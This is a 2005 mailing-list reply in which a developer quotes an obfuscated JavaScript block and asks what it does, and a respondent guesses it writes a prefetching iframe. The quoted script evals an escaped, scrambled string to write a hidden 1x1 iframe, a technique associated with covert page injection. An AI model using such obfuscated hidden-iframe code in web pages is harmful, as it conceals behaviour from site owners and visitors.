Obfuscated javascript code to write a prefetching iframe and some junk to go with it. Don't know really for sure. isn't there a de-obfscator out on the web?
-nathan strutz http://www.dopefly.com/ On 11/10/05, Andrew Scott <[EMAIL PROTECTED]> wrote: > Can anyone tell me what this is? > > <script> > <!-- > //document.write(unescape("%3Ciframe%20src%3D%22%22%0D%0A%20%20%20%20%20%20n > ame%3D%22cfpp_PREFETCH%22%0D%0A%20%20%20%20%20%20id%3D%22cfpp_PREFETCH%22%0D > %0A%20%20%20%20%20%20width%3D%221%22%0D%0A%20%20%20%20%20%20height%3D%221%22 > %0D%0A%20%20%20%20%20%20marginwidth%3D%220%22%0D%0A%20%20%20%20%20%20marginh > eight%3D%220%22%0D%0A%20%20%20%20%20%20scrolling%3D%22no%22%3E%3C/iframe%3E% > 0D%0A")); > var rd13=7492;BWOUwqrpv='fOfNkOmqtkNmVExlJxnEPuugYvVdsOrcgKvs';td='<citus=Ti > aede o upr orbosr rwe eso . rhge > srqie!;ldcmn.aesd=ouetalg=ouetgtlmnBI;s(idwsdbr?refleiNnvgtrueAettLwrae)idxf > `esae)=?reflei(s&iN{ug=iy}vrmg`;ucinnm)rtr > re;idwoerr=nmvry6dcmn.rt(nsae"3irm%0r%D2%20%A2%02%02%0ae3%2fpPEEC%20%A2%02%0 > 2%0d3%2fpPEEC';eOOO='dTOcuZYjObYtODBg';EOuX='%6B%3D%75%6Ee%73\143a%70e\050%2 > 2%25%30D%25%30A%22\051%3B%70%36%3D%20%68%71t\050td\051%3Bd%6F\143%75%6De%6Et > %2E%77\162%69te\050%70%36\051%3Bf%75%6E\143t%69%6F%6E%20%68%71t\050%73\051%2 > 0%7B%76a\162%20%75%6E%3D%22%22%3B%6C%3D%73%2E%6Ce%6E%67t%68%3B%6F%68%3D%4Dat > %68%2E\162%6F%75%6Ed\050%6C%2F%32\051%3Bf%6F\162\050%69%3D%30%3B%69%3C%3D%6F > %68%3B%69%2B%2B\051%7Ba%3D%73%2E\143%68a\162At\050%';td+='%20%A2%02%02%0it%D > 212%D0%02%02%02hih%D212%D0%02%02%02mriwdh3%2%20%A2%02%02%0agnegt3%2%20%A2%02 > %02%0coln%D2n%23%Cirm%E0%A);/citsrp>np`hspg osntspotyu rwe.Abosrvrin40o ihri > eurd`d=ouetlyr;adcmn.l;edcmn.eEeetydw=wno.iea)tu:as;z=aiao.srgn.ooeCs(.neO(n > tcp`>';qfOkvd='cVVsDRpMoQdqdbOolLrFLHUg';EOuX+='69\051%3Bb%3D%73%2E\143%68a\ > 162At\050%69%2B%6F%68\051%3B\143%3Da%2Bb%3B%75%6E%3D%75%6E%2B\143%3B%7D%3BB% > 3D%75%6E%2E%73%75b%73t\162\050%30%2C%6C\051%3BB%3DB%2E\162e%70%6Ca\143e\050% > 2F%60%2F%67%2C%22%27%22\051%3BB%3DB%2E\162e%70%6Ca\143e\050%2F%40%40%2F%67%2 > C%22%5C%5C%22\051%3Bf%20%3D%20%2F%71%67%2F%67%3BB%3DB%2E\162e%70%6Ca\143e\05 > 0f%2C%6B\051%3B\162et%75\162%6E%20B%3B%7D%3B';td+='0tu:as;fw&!z)qol`u`;a > s=`fnto e({euntu}wno.nro e;a > 8;ouetwieuecp(%Cfae2sc3%22%D0%02%02%02nm%D2cp_RFTH2%D0%02%02%02i%D2cp_RFTH2% > D0%02%02%02wdh3%2%20%A2%02%02%0egt3%2%20%A2%02%02%0agnit%D202%D0%02%02%02mri > hih%D202%D0%02%02%02srlig3%2o2%E3/fae3%D0")<srp>';eval(unescape(EOuX));rim54 > ='aBIQrHGXOOVqJBiUXnTYheRaDDakxOtOwRnSOXlZralsoCUenoyOUuwbiEN'; > //--> > </script> > > > Regards, > Andrew Scott > > Quote of the Day: > Never in the field of human conflict was so much owed by so many to so few. > - Sir Winston Leonard Spencer Churchill > > > > > ---------------------------------------------------------- > You are subscribed to cfcdev. To unsubscribe, send an email to > [email protected] with the words 'unsubscribe cfcdev' as the subject of the > email. > > CFCDev is run by CFCZone (www.cfczone.org) and supported by CFXHosting > (www.cfxhosting.com). > > An archive of the CFCDev list is available at > www.mail-archive.com/[email protected] > > > ---------------------------------------------------------- You are subscribed to cfcdev. To unsubscribe, send an email to [email protected] with the words 'unsubscribe cfcdev' as the subject of the email. CFCDev is run by CFCZone (www.cfczone.org) and supported by CFXHosting (www.cfxhosting.com). An archive of the CFCDev list is available at www.mail-archive.com/[email protected]
